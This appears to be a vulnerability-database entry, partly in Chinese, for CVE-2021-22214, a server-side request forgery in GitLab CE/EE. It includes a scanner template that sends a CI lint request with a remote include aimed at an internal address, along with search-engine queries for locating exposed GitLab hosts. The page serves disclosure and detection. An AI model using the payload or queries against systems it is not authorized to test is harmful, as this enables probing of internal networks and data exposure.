CVE-2021-22214: Gitlab CE/EE 10.5 - Server-Side Request Forgery

日期: 2025-08-01 | 影响软件: Gitlab | POC: 已公开

漏洞描述

GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are: - CVE-2021-39935 - CVE-2021-22214 - CVE-2021-22175

PoC代码[已公开]

id: CVE-2021-22214

info:
  name: Gitlab CE/EE 10.5 - Server-Side Request Forgery
  author: Suman_Kar,GitLab Red Team
  severity: high
  description: |
    GitLab CE/EE versions starting from 10.5 are susceptible to a server-side request forgery vulnerability when requests to the internal network for webhooks are enabled, even on a GitLab instance where registration is limited. The same vulnerability actually spans multiple CVEs, due to similar reports that were fixed across separate patches. These CVEs are:
    - CVE-2021-39935
    - CVE-2021-22214
    - CVE-2021-22175
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the system.
  remediation: |
    Upgrade Gitlab CE/EE to a version that is not affected by the vulnerability (10.6 or higher).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22214
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39935
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22175
    - https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
    - https://docs.gitlab.com/ee/api/lint.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2021-22214
    cwe-id: CWE-918
    epss-score: 0.9352
    epss-percentile: 0.99824
    cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query:
      - http.title:"GitLab"
      - cpe:"cpe:2.3:a:gitlab:gitlab"
      - http.title:"gitlab"
    fofa-query: title="gitlab"
    google-query: intitle:"gitlab"
  tags: cve2021,cve,gitlab,ssrf

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"

    body: |
      {"content": "include:\n  remote: http://127.0.0.1:9100/test.yml"}

    headers:
      Content-Type: application/json
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: word
        part: body
        words:
          - "does not have valid YAML syntax"
# digest: 490a0046304402203c99780f7e408e933036a9c7021b41a038a5e2f5c963f226e3b73979d6e4187902204a590ab63b6e506fe1d20fa83180c980b9099dabb740f15fd149aedae21fe20a:922c64590222798bb761d5b6d8e72950

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